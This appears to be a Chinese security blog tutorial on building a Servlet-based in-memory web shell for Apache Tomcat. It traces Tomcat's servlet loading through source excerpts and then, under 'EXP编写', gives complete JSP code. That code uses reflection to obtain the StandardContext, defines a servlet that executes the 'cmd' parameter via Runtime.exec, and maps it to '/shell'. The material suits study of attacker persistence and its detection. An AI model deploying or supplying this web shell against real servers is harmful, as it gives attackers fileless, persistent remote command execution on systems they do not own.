JAVA内存马之Servlet马
0x01前置知识
我们知道的Tomcat创建Servlet的过程分为五部
- 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
- 初始化:当Servlet被实例化后,Tomcat会调用
init()
方法初始化这个对象 - 处理服务:当浏览器访问Servlet的时候,Servlet 会调用
service()
方法处理请求 - 销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用
destroy()
方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁 - 卸载:当Servlet调用完
destroy()
方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()
方法进行初始化操作
所以我们的内存马要写到service这个地方才方便我们调用,有了前面两个内存马的学习,servlet内存马跟两个内存马也大同小异,所以这里我们就大概的看一下一些重要的不同的地方
0x02创建过程分析
在Tomcat的机制中我们知道三件套加载的顺序是Listener-----filter-----servlet这样的加载机制,确定一下吧,把断点打在init
这个点
从service进来会看到有很多Filter的处理
还是去从init
去调试
跟进来第一步就看到了以前很熟悉的东西standardWrapper这个东西我们前面看到的StandardContext,然后后面流程很长还是去更了一些Filter的流程
我们直接去StandardContext里面去看一下关于Servlet的创建吧不去看中间的流程了
最终通过ContextConfig#webConfig()
方法解析web.xml获取各种配置参数
然后通过configureContext(webXml)
方法创建StandWrapper对象,并根据解析参数初始化StandWrapper对象
最后通过addServletMappingDecoded()方法添加Servlet对应的url映射 private void configureContext(WebXml webxml) {
// As far as possible, process in alphabetical order so it is easy to
// check everything is present
// Some validation depends on correct public ID
context.setPublicId(webxml.getPublicId());
... //设置StandardContext参数
for (ServletDef servlet : webxml.getServlets().values()) {
//创建StandardWrapper对象
Wrapper wrapper = context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
//设置LoadOnStartup属性
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
...
wrapper.setOverridable(servlet.isOverridable());
//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
//添加路径映射
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
}
...
}
最后通过addServletMappingDecoded()
方法添加Servlet对应的url映射
然后依次加载完Listener、Filter后,就通过loadOnStartUp()
方法加载wrapper
public boolean loadOnStartup(Container children[]) {
// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
//判断属性loadOnStartup的值
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper);
}
// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
}
中间有些的流程有些多我自己也是大概的去理解了一下流程,可能有不对的地方我就不写出来了哈哈哈哈
但是我们总共Servlet内存马创建的流程代码大概是这样
- 获取
StandardContext
对象 - 编写恶意Servlet
- 通过
StandardContext.createWrapper()
创建StandardWrapper
对象 - 设置
StandardWrapper
对象的loadOnStartup
属性值 - 设置
StandardWrapper
对象的ServletName
属性值 - 设置
StandardWrapper
对象的ServletClass
属性值 - 将
StandardWrapper
对象添加进StandardContext
对象的children
属性中 - 通过
StandardContext.addServletMappingDecoded()
添加对应的路径映射
这里的刚刚没提的loadOnStartup
对象有一个判断点吧
//判断属性loadOnStartup的值
if (loadOnStartup < 0) {
continue;
}
有师傅说这是因为tomcat的懒加载机制:这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。
0x03EXP编写
循环获取StandardContext
<%
//循环获取StandContext
ServletContext servletContext = request.getServletContext();
StandardContext o = null;
while (o == null) {
Field field = servletContext.getClass().getDeclaredField("context");
field.setAccessible(true);
Object o1 = field.get(servletContext);
if (o1 instanceof ServletContext) {
servletContext = (ServletContext) o1;
} else if (o1 instanceof StandardContext) {
o = (StandardContext) o1;
}
}
%
编写一个Servlet
<%!
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
创建Wrapper对象
<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = o.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>
将Wrapper添加进StandardContext
<%
o.addChild(wrapper);
o.addServletMappingDecoded("/shell",name);
%>
组合起来就是一个完整的jsp了
0x04小结
Servlet内存马呢很有缺陷必须要访问对应的URL才能触发,成成功触发命令、